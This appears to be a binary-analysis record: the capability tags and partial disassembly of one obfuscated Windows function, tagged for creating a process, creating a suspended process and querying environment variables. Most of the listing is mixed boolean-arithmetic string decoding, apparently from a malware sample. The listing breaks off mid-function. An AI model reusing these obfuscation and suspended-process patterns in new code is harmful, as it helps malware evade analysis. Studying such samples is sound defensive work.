Function at 0x446e30
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
jmp 0x446e3e
cmp dword [0x476600], 0
sete al
test al, 1
jne 0x446e51
jmp 0x4479fd
mov cx, word [0x47561a]
mov dx, cx
xor dx, 0xffff
mov ax, dx
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
or ax, 0xb056
xor ax, 0xffff
and cx, 0xb056
or ax, cx
mov cx, ax
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0x1da2
or ax, 0x1da2
xor ax, 0xffff
or cx, ax
xor cx, 0xffff
mov word [0x475624], cx
mov ax, word [0x47561c]
xor ax, 0xf263
mov word [0x475626], ax
mov ax, word [0x47561e]
mov cx, ax
and cx, 0x56d1
shl cx, 1
add ax, 0x56d1
sub ax, cx
mov word [0x475628], ax
mov cx, word [0x475620]
mov ax, cx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0xc686
and cx, 0xc686
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
mov word [0x47562a], ax
mov ax, word [0x475622]
mov cx, ax
and cx, 0x90f8
mov dx, cx
xor dx, 0xffff
mov si, dx
and si, 2
or dx, 2
xor dx, 0xffff
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
sub ax, 0x6f08
sub ax, cx
mov word [0x47562c], ax
mov dx, word [0x4755a0]
mov si, dx
xor si, 0xffff
and si, 0xd451
and dx, 0x2bae
mov ax, si
xor ax, 0xffff
mov di, dx
xor di, 0xffff
mov cx, ax
and cx, 0x58f7
and si, 0xa708
mov bx, di
and bx, 0x58f7
and dx, 0xa708
or cx, si
or bx, dx
xor cx, bx
or ax, di
xor ax, 0xffff
and ax, 0xffff
or cx, ax
mov word [0x4755e0], cx
mov ax, word [0x4755a2]
xor ax, 0xbd9f
mov word [0x4755e2], ax
mov ax, word [0x4755a4]
mov cx, ax
xor cx, 0xffff
and cx, 0x7115
and ax, 0x8eea
or cx, ax
mov word [0x4755e4], cx
mov ax, word [0x4755a6]
mov cx, ax
xor cx, 0xffff
and cx, 0x1812
and ax, 0xe7ed
or cx, ax
xor cx, 0xa7e7
mov word [0x4755e6], cx
mov cx, word [0x4755a8]
mov ax, cx
xor ax, 0xffff
or ax, 0xc273
mov dx, cx
xor dx, 0xffff
or dx, 0xc273
and ax, dx
xor ax, 0xffff
shl ax, 1
mov dx, cx
and dx, 0x3d8c
or cx, 0x3d8c
add dx, cx
sub dx, ax
mov word [0x4755e8], dx
mov ax, word [0x4755aa]
mov cx, ax
and cx, 0x5be0
shl cx, 1
add ax, 0x5be0
sub ax, cx
mov word [0x4755ea], ax
mov ax, word [0x4755ac]
mov cx, ax
xor cx, 0xffff
and cx, 0xc8c2
and ax, 0x373d
or cx, ax
xor cx, 0x5a24
mov word [0x4755ec], cx
mov ax, word [0x4755ae]
mov cx, ax
xor cx, 0xbbcd
xor cx, 0xffff
xor cx, 0xffff
or cx, 0x4432
xor cx, 0xffff
and cx, 0xffff
mov dx, cx
xor dx, 0xffff
mov si, dx
and si, 2
or dx, 2
xor dx, 0xffff
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
sub cx, 0xbbcd
mov dx, ax
xor dx, 0xffff
and dx, cx
xor cx, 0xffff
and ax, cx
sub ax, dx
mov word [0x4755ee], ax
mov ax, word [0x4755b0]
mov cx, ax
xor cx, 0xffff
and cx, 0x9a0
and ax, 0xf65f
mov dx, cx
and dx, ax
xor cx, ax
or dx, cx
xor dx, 0xc628
mov word [0x4755f0], dx
mov ax, word [0x4755b2]
mov cx, ax
and cx, 0x5492
xor cx, 0xffff
mov dx, ax
and dx, 0x5492
xor dx, 0xffff
xor cx, 0xffff
xor dx, 0xffff
or cx, dx
shl cx, 1
sub ax, 0xab6e
sub ax, cx
mov word [0x4755f2], ax
mov ax, word [0x4755b4]
xor ax, 0x502b
mov word [0x4755f4], ax
mov ax, word [0x4755b6]
mov cx, ax
xor cx, 0xffff
and cx, 0xb038
and ax, 0x4fc7
or cx, ax
mov word [0x4755f6], cx
mov ax, word [0x4755b8]
xor ax, 0xca7d
mov word [0x4755f8], ax
mov ax, word [0x4755ba]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
mov si, cx
xor si, 0xffff
mov di, dx
and di, si
mov si, dx
xor si, cx
add dx, si
sub dx, di
xor dx, 0xffff
mov cx, dx
or cx, 0x6f45
xor cx, 0xffff
xor dx, 0xffff
and dx, 0x90ba
or cx, dx
xor cx, 0xffff
xor ax, 0xffff
mov dx, ax
and dx, 0x6f45
mov si, ax
xor si, 0x90ba
add ax, si
sub ax, dx
xor cx, 0xffff
xor ax, 0xffff
mov dx, cx
and dx, ax
xor cx, ax
or dx, cx
mov word [0x4755fa], dx
mov cx, word [0x4755bc]
mov ax, cx
xor ax, 0xffff
and ax, 0xc554
mov dx, cx
and dx, 0x3aab
or ax, dx
xor ax, 0x3aab
mov dx, cx
xor dx, 0xffff
and dx, 0xffff
or dx, 0
or ax, dx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0x4804
xor cx, 0xffff
or cx, 0xb7fb
mov dx, ax
add dx, 1
xor ax, 0xffff
or ax, cx
add ax, dx
xor ax, 0xffff
mov word [0x4755fc], ax
mov ax, word [0x4755be]
xor ax, 0xd73
mov word [0x4755fe], ax
mov cx, word [0x4755c0]
mov ax, cx
add ax, 1
mov dx, cx
xor dx, 0xffff
or dx, cx
add dx, ax
xor dx, 0xffff
and dx, 0x61d3
mov ax, dx
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
or ax, 0
and ax, 0xffff
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0x9e2c
xor dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
mov cx, ax
and cx, dx
xor ax, dx
or cx, ax
mov word [0x475600], cx
mov ax, word [0x4755c2]
xor ax, 0x5fcb
mov word [0x475602], ax
mov ax, word [0x4755c4]
mov cx, ax
and cx, 0x3bf1
shl cx, 1
add ax, 0x3bf1
sub ax, cx
mov word [0x475604], ax
mov ax, word [0x4755c6]
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
mov cx, ax
sub cx, dx
mov dx, ax
xor dx, 0xffff
or cx, dx
mov si, cx
xor si, 0xffff
and si, 0xaad3
and cx, 0x552c
or si, cx
xor si, 0x552c
mov dx, si
xor dx, 0xffff
mov cx, dx
and cx, 0x203a
and si, 0xdfc5
or cx, si
xor cx, 0x415c
or dx, 0x9e99
xor dx, 0xffff
and dx, 0xffff
or cx, dx
xor ax, 0xffff
or ax, 0x9e99
mov dx, cx
xor dx, 0xffff
and dx, 0x5edf
and cx, 0xa120
or dx, cx
xor dx, 0xa120
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
mov di, ax
xor di, 0xffff
mov si, cx
and si, 0xf26f
and dx, 0xd90
mov bx, di
and bx, 0xf26f
and ax, 0xd90
or si, dx
or bx, ax
xor si, bx
or cx, di
xor cx, 0xffff
and cx, 0xffff
or si, cx
mov word [0x475606], si
mov cx, word [0x4755c8]
mov ax, cx
or ax, ax
xor ax, 0xffff
or ax, 0x3c02
xor ax, 0xffff
xor cx, 0xffff
and cx, 0x3c02
or ax, cx
xor ax, 0xffff
mov word [0x475608], ax
mov ax, word [0x4755ca]
mov cx, ax
xor cx, 0xffff
and cx, 0xbe0c
and ax, 0x41f3
or cx, ax
xor cx, 0x2882
mov word [0x47560a], cx
mov ax, word [0x4755cc]
mov cx, ax
xor cx, 0x812f
xor cx, 0xffff
and cx, 0x812f
shl cx, 1
sub cx, 0x812f
sub ax, cx
mov word [0x47560c], ax
mov ax, word [0x4755ce]
mov dx, ax
xor dx, dx
xor dx, 0xffff
mov cx, ax
or cx, cx
and cx, dx
xor cx, 0xffff
xor cx, 0xffff
mov dx, cx
and dx, 0x2f3e
xor dx, 0xffff
add cx, 0x2f3e
add cx, 1
add cx, dx
and ax, 0x2f3e
xor ax, 0xffff
xor cx, 0xffff
mov dx, ax
and dx, 0xffff
shl dx, 1
add ax, 0xffff
sub ax, dx
or cx, ax
mov word [0x47560e], cx
mov ax, word [0x4755d0]
mov cx, ax
xor cx, 0xd71f
xor cx, 0xffff
and cx, 0xd71f
shl cx, 1
sub cx, 0xd71f
sub ax, cx
mov word [str._nikV], ax
mov ax, word [0x4755d2]
xor ax, 0x9d92
mov word [0x475612], ax
mov ax, word [0x4755d4]
mov cx, ax
xor cx, 0xbfb3
xor cx, 0xffff
and cx, 0xbfb3
shl cx, 1
sub cx, 0xbfb3
sub ax, cx
mov word [0x475614], ax
mov ax, word [0x4755d6]
xor ax, 0x1355
mov word [0x475616], ax
mov ax, word [0x4755d8]
xor ax, 0x785d
mov word [0x475618], ax
mov ax, word [0x47562e]
xor ax, 0x3a13
mov word [0x475638], ax
mov ax, word [0x475630]
mov dx, ax
and dx, 0x84b3
shl dx, 1
mov cx, ax
add cx, 0x84b3
sub cx, dx
mov dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub cx, dx
and cx, 0x84b3
shl cx, 1
add cx, 0x7b4d
mov dx, ax
xor dx, cx
xor cx, 0xffff
and ax, cx
shl ax, 1
sub ax, dx
mov word [0x47563a], ax
mov ax, word [0x475632]
xor ax, 0x118d
mov word [0x47563c], ax
mov ax, word [0x475634]
mov cx, ax
xor cx, 0xffff
and cx, 0x60d0
and ax, 0x9f2f
or cx, ax
mov word [0x47563e], cx
mov cx, word [0x475636]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
mov si, cx
sub si, dx
or ax, si
and ax, 0xe099
xor ax, 0xffff
mov dx, cx
xor dx, 0x1f66
xor dx, 0xffff
or cx, 0x1f66
and cx, dx
mov dx, cx
and dx, 0xffff
shl dx, 1
add cx, 0xffff
sub cx, dx
mov dx, ax
add dx, 1
xor ax, 0xffff
or ax, cx
add ax, dx
xor ax, 0xffff
mov word [0x475640], ax
mov ax, word [0x475642]
mov dx, ax
and dx, 0xffff
shl dx, 1
mov cx, ax
add cx, 0xffff
sub cx, dx
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xadb0
and ax, 0x524f
or cx, ax
mov word [0x47564c], cx
mov ax, word [0x475644]
xor ax, 0x1010
mov word [0x47564e], ax
mov cx, word [0x475646]
mov ax, cx
or ax, ax
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub ax, dx
xor ax, 0xffff
and ax, 0x4872
xor cx, 0xffff
and cx, 0xb78d
mov dx, ax
and dx, cx
xor ax, cx
or dx, ax
xor dx, 0xffff
mov word [0x475650], dx
mov ax, word [0x475648]
mov cx, ax
xor cx, 0xf5fe
xor cx, 0xffff
mov dx, cx
xor dx, 0xf5fe
xor dx, 0xffff
or cx, 0xf5fe
and cx, dx
shl cx, 1
sub cx, 0xf5fe
sub ax, cx
mov word [0x475652], ax
mov cx, word [0x47564a]
mov ax, cx
xor ax, 0xffff
and ax, 0x5b3d
mov dx, cx
and dx, 0xa4c2
or ax, dx
xor ax, 0xa4c2
and ax, 0x9c5d
mov dx, cx
xor dx, 0xffff
or dx, 0x9c5d
xor cx, 0xffff
or cx, 0x9c5d
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
mov cx, ax
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xd7f2
xor ax, 0xffff
and ax, 0x280d
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
mov word [0x475654], cx
mov ax, word [0x475580]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov di, ax
sub di, cx
mov si, dx
xor si, 0xffff
mov cx, di
xor cx, 0xffff
mov word [ebp - 0x22], cx
mov cx, si
and cx, 0x25b1
and dx, 0xda4e
mov bx, word [ebp - 0x22]
and bx, 0x25b1
and di, 0xda4e
or cx, dx
or bx, di
xor cx, bx
or si, word [ebp - 0x22]
xor si, 0xffff
and si, 0xffff
or cx, si
and cx, 0xe8cd
xor cx, 0xffff
xor ax, 0xffff
mov dx, ax
and dx, 0xe8cd
xor dx, 0xffff
add ax, 0xe8cd
add ax, 1
add ax, dx
xor cx, 0xffff
and cx, 0xffff
or cx, 0
mov dx, ax
and dx, 0xffff
shl dx, 1
add ax, 0xffff
sub ax, dx
and cx, cx
xor cx, 0xffff
and ax, ax
xor ax, 0xffff
and cx, ax
xor cx, 0xffff
mov word [0x47558e], cx
mov ax, word [0x475582]
mov cx, ax
xor cx, 0xffff
and cx, 0xa013
and ax, 0x5fec
or cx, ax
xor cx, 0x5be0
mov word [0x475590], cx
mov ax, word [0x475584]
xor ax, 0x7696
mov word [0x475592], ax
mov ax, word [0x475586]
xor ax, 0x192e
mov word [0x475594], ax
mov dx, word [0x475588]
mov cx, dx
xor cx, 0xffff
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and cx, ax
xor cx, 0xffff
mov ax, cx
and ax, 0x9a82
xor ax, 0xffff
and cx, 0x9a82
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and cx, 0x3030
and dx, 0xcfcf
or cx, dx
xor cx, 0xcfcf
and cx, 0x657d
or ax, ax
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor cx, 0xffff
mov dx, ax
and dx, cx
xor dx, 0xffff
xor ax, 0xffff
xor cx, 0xffff
or ax, cx
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x475596], dx
mov ax, word [0x47558a]
mov cx, ax
and cx, 0x80d1
shl cx, 1
add ax, 0x80d1
sub ax, cx
mov word [0x475598], ax
mov ax, word [0x47558c]
mov cx, ax
xor cx, 0x4ebe
xor cx, 0xffff
mov dx, cx
xor dx, 0x4ebe
xor dx, 0xffff
or cx, 0x4ebe
and cx, dx
shl cx, 1
sub cx, 0x4ebe
sub ax, cx
mov word [0x47559a], ax
jmp 0x4479ff
mov dword [0x476600], 1
push eax
mov esi, esp
push eax
mov edi, esp
push eax
mov ebx, esp
push eax
mov dword [ebp - 0x10], esp
push eax
mov dword [ebp - 0xb8], esp
push eax
mov dword [ebp - 0xb4], esp
push eax
mov dword [ebp - 0x5c], esp
push eax
mov dword [ebp - 0x1c], esp
push eax
mov dword [ebp - 0x114], esp
push eax
mov dword [ebp - 0x110], esp
push eax
mov dword [ebp - 0xb0], esp
push eax
mov dword [ebp - 0x58], esp
push eax
mov dword [ebp - 0xac], esp
push eax
mov dword [ebp - 0xa8], esp
push eax
mov dword [ebp - 0xa4], esp
push eax
mov dword [ebp - 0x10c], esp
push eax
mov dword [ebp - 0xa0], esp
push eax
mov dword [ebp - 0x54], esp
push eax
mov dword [ebp - 0x50], esp
sub esp, 8
mov dword [ebp - 0x4c], esp
push eax
mov dword [ebp - 0x9c], esp
push eax
mov dword [ebp - 0x98], esp
push eax
mov dword [ebp - 0x94], esp
push eax
mov dword [ebp - 0x90], esp
push eax
mov dword [ebp - 0x108], esp
push eax
mov dword [ebp - 0x8c], esp
push eax
mov dword [ebp - 0x88], esp
push eax
mov dword [ebp - 0x84], esp
push eax
mov dword [ebp - 0x48], esp
push eax
mov dword [ebp - 0x80], esp
push eax
mov dword [ebp - 0x104], esp
sub esp, 8
mov dword [ebp - 0x100], esp
push eax
mov dword [ebp - 0x7c], esp
push eax
mov dword [ebp - 0x78], esp
push eax
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0x74], esp
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0xfc], esp
sub esp, 8
mov dword [ebp - 0xf8], esp
push eax
mov dword [ebp - 0xf4], esp
push eax
mov dword [ebp - 0x30], esp
push eax
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0x18], esp
sub esp, 0x80
mov dword [ebp - 0x40], esp
sub esp, 0x400
mov dword [ebp - 0x14], esp
sub esp, 0x10
mov dword [ebp - 0xf0], esp
push eax
mov dword [ebp - 0xec], esp
push eax
mov dword [ebp - 0x70], esp
sub esp, 0xc
mov dword [ebp - 0xe8], esp
sub esp, 0x400
mov dword [ebp - 0xe4], esp
sub esp, 0x44
mov dword [ebp - 0xe0], esp
sub esp, 0x10
mov dword [ebp - 0xdc], esp
sub esp, 0xc
mov dword [ebp - 0xd8], esp
sub esp, 0x400
mov dword [ebp - 0xd0], esp
sub esp, 0xc
mov dword [ebp - 0xcc], esp
push eax
sub esp, 0x3fc
mov dword [ebp - 0xc8], esp
sub esp, 0x3c
mov dword [ebp - 0xc4], esp
sub esp, 0x400
mov dword [ebp - 0x6c], esp
sub esp, 0x44
mov dword [ebp - 0xc0], esp
sub esp, 0x10
mov dword [ebp - 0xbc], esp
sub esp, 8
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0xd4], esp
push eax
mov dword [ebp - 0x3c], esp
call fcn.0044cc20
mov dword [edi], eax
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call section..text
add esp, 4
mov dword [ebx], eax
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00401600
add esp, 4
cmp eax, 4
setne al
test al, 1
jne 0x447bdf
jmp 0x447c03
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00401740
add esp, 4
mov dword [esi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x448fa2
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00401380
add esp, 4
mov edi, dword [ebp - 0xb8]
mov dword [edi], eax
mov eax, dword [edi]
lea ecx, [0x469774]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401590
add esp, 0xc
cmp eax, 0
jne 0x447c66
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00401740
add esp, 4
mov dword [esi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x448fa2
mov eax, dword [edi]
lea ecx, [0x469776]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 5
call fcn.00401590
add esp, 0xc
cmp eax, 0
jne 0x447cb1
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00401740
add esp, 4
mov dword [esi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x448fa2
mov eax, dword [edi]
lea ecx, [0x469778]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004013b0
add esp, 8
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov eax, dword [edi]
lea ecx, [0x469776]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004013b0
add esp, 8
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov edi, dword [ebp - 0x1c]
mov dword [edi], 0
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x11c], esi
jmp 0x447d09
mov ebx, dword [edi]
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
mov esi, ecx
call fcn.004016a0
add esp, 4
cmp ebx, eax
jb 0x447d3d
mov eax, dword [ebp - 0x10]
jmp 0x447d26
mov dword [eax], 2
mov edi, dword [ebp - 0xb8]
mov esi, dword [ebp - 0x11c]
jmp 0x448e73
mov eax, dword [edi]
mov ecx, dword [esi]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004016c0
add esp, 8
mov esi, dword [ebp - 0x114]
mov dword [esi], eax
mov eax, dword [esi]
lea ecx, [0x46977b]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401590
add esp, 0xc
cmp eax, 0
jne 0x447d90
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x448e55
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46977b
call fcn.00401320
add esp, 8
fnstcw word [ebp - 0x2c]
movzx eax, word [ebp - 0x2c]
or eax, 0xc00
mov word [ebp - 0x66], ax
fldcw word [ebp - 0x66]
fistp dword [ebp - 0x130]
fldcw word [ebp - 0x2c]
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x110]
mov dword [ecx], eax
cmp dword [ecx], 0
jne 0x4482d3
jmp 0x447ddd
mov eax, dword [esi]
lea ecx, [0x46977d]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401590
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x447e0e
jmp 0x447eaa
mov eax, dword [esi]
lea ecx, [0x46977f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 5
call fcn.00401590
add esp, 0xc
cmp eax, 0
je 0x447eaa
mov eax, dword [esi]
lea ecx, [0x469781]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401590
add esp, 0xc
cmp eax, 0
je 0x447eaa
mov eax, dword [esi]
lea ecx, [0x469783]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401590
add esp, 0xc
cmp eax, 0
je 0x447eaa
mov eax, dword [esi]
lea ecx, [0x469785]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401590
add esp, 0xc
cmp eax, 0
jne 0x447eb8
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x448e55
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46977d
call fcn.004012d0
add esp, 8
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov ebx, ecx
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46977f
call fcn.004013b0
add esp, 8
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469781
call fcn.004012d0
add esp, 8
mov edi, dword [ebp - 0xac]
mov dword [edi], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469783
call fcn.00401320
add esp, 8
fnstcw word [ebp - 0x2a]
movzx eax, word [ebp - 0x2a]
or eax, 0xc00
mov word [ebp - 0x64], ax
fldcw word [ebp - 0x64]
fistp dword [ebp - 0x120]
fldcw word [ebp - 0x2a]
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469785
call fcn.00401320
add esp, 8
fnstcw word [ebp - 0x28]
movzx eax, word [ebp - 0x28]
or eax, 0xc00
mov word [ebp - 0x62], ax
fldcw word [ebp - 0x62]
fistp dword [ebp - 0x124]
fldcw word [ebp - 0x28]
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0xa4]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.004560b0
add esp, 4
mov ebx, dword [ebp - 0x10c]
mov dword [ebx], eax
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.004560b0
add esp, 4
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [ebx]
mov edx, eax
and edx, 0xfffffffd
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
or ecx, 0xfffffffd
xor ecx, 0xffffffff
and ecx, 0xffffffff
or ecx, 0
imul ecx, edx
mov edx, eax
and edx, 2
and eax, eax
xor eax, 0xffffffff
and eax, 0xfffffffd
xor eax, 0xffffffff
imul eax, edx
add eax, ecx
sub eax, 0xf8b12138
add eax, 2
mov ecx, eax
and ecx, 0xf8b12138
or eax, 0xf8b12138
add ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.00455ba4
add esp, 4
mov esi, dword [ebp - 0x54]
mov dword [esi], eax
mov eax, dword [edi]
shl eax, 1
mov ecx, eax
and ecx, 2
mov edx, ecx
xor edx, 0xffffffff
and edx, 2
mov edi, ecx
and edi, 0xfffffffd
imul edi, edx
mov edx, ecx
and edx, 2
or ecx, 2
imul ecx, edx
add ecx, edi
xor eax, 2
mov edx, eax
and edx, ecx
shl edx, 1
xor eax, ecx
add eax, edx
sub esp, 4
mov dword [esp], eax
call fcn.00455ba4
add esp, 4
mov edi, dword [ebp - 0x50]
mov dword [edi], eax
mov eax, dword [ebx]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00455bcf
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebx]
mov word [eax + ecx*2], 0
mov esi, dword [ebp - 0xa0]
mov eax, dword [esi]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx]
mov edx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00455bcf
add esp, 0xc
mov eax, dword [edi]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 1
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
call fcn.00430b40
mov edx, dword [ebp - 0x58]
add esp, 8
mov ebx, dword [ebp - 0x9c]
mov dword [ebx], 0
mov edi, dword [ebx]
mov eax, dword [edx]
sub esp, 4
mov dword [esp], eax
mov esi, edx
call fcn.004016a0
add esp, 4
cmp edi, eax
jb 0x448126
mov eax, dword [ebp - 0x10]
mov dword [eax], 5
mov edi, dword [ebp - 0x1c]
jmp 0x448294
mov eax, dword [ebx]
mov ecx, dword [esi]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401630
add esp, 8
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.00401600
add esp, 4
cmp eax, 2
jne 0x448277
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.004012f0
add esp, 4
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.004560b0
add esp, 4
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov eax, dword [ecx]
mov edx, eax
xor edx, 0xffffffff
and edx, 2
mov ecx, eax
and ecx, 0xfffffffd
mov ebx, edx
xor ebx, 0xffffffff
mov esi, ecx
and esi, ebx
mov edi, ecx
or edi, ebx
xor edi, 0xffffffff
imul edi, esi
mov esi, ecx
and esi, edx
or ecx, edx
imul ecx, esi
add ecx, edi
mov edx, eax
and edx, 2
or eax, 2
imul eax, edx
mov edx, eax
and edx, ecx
or eax, ecx
add edx, eax
sub edx, 0xfffffffe
sub esp, 4
mov dword [esp], edx
call fcn.00455ba4
add esp, 4
mov esi, dword [ebp - 0x108]
mov dword [esi], eax
mov edi, dword [ebp - 0x90]
mov eax, dword [edi]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00455bcf
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [edi]
mov word [eax + ecx*2], 0
mov eax, dword [ebp - 0xa4]
mov ebx, dword [eax]
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x50]
mov edx, dword [eax]
mov edi, dword [esi]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ebx
mov eax, dword [ebp - 0x4c]
mov dword [esp + 0x14], eax
call fcn.0040b850
add esp, 0x18
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455b05
add esp, 4
mov ebx, dword [ebp - 0x9c]
jmp 0x448277
mov edx, dword [ebp - 0x58]
jmp 0x44827c
jmp 0x44827e
mov eax, dword [ebx]
mov ecx, eax
and ecx, 1
shl ecx, 1
xor eax, 1
add eax, ecx
mov dword [ebx], eax
jmp 0x4480fd
sub esp, 4
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call fcn.00430c90
add esp, 4
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455b05
add esp, 4
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455b05
add esp, 4
mov ecx, dword [ebp - 0x10]
jmp 0x448e4f
cmp dword [ecx], 1
jne 0x44851b
call fcn.00406500
mov eax, dword [esi]
lea ecx, [0x46977d]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401590
add esp, 0xc
cmp eax, 0
je 0x44832f
mov eax, dword [esi]
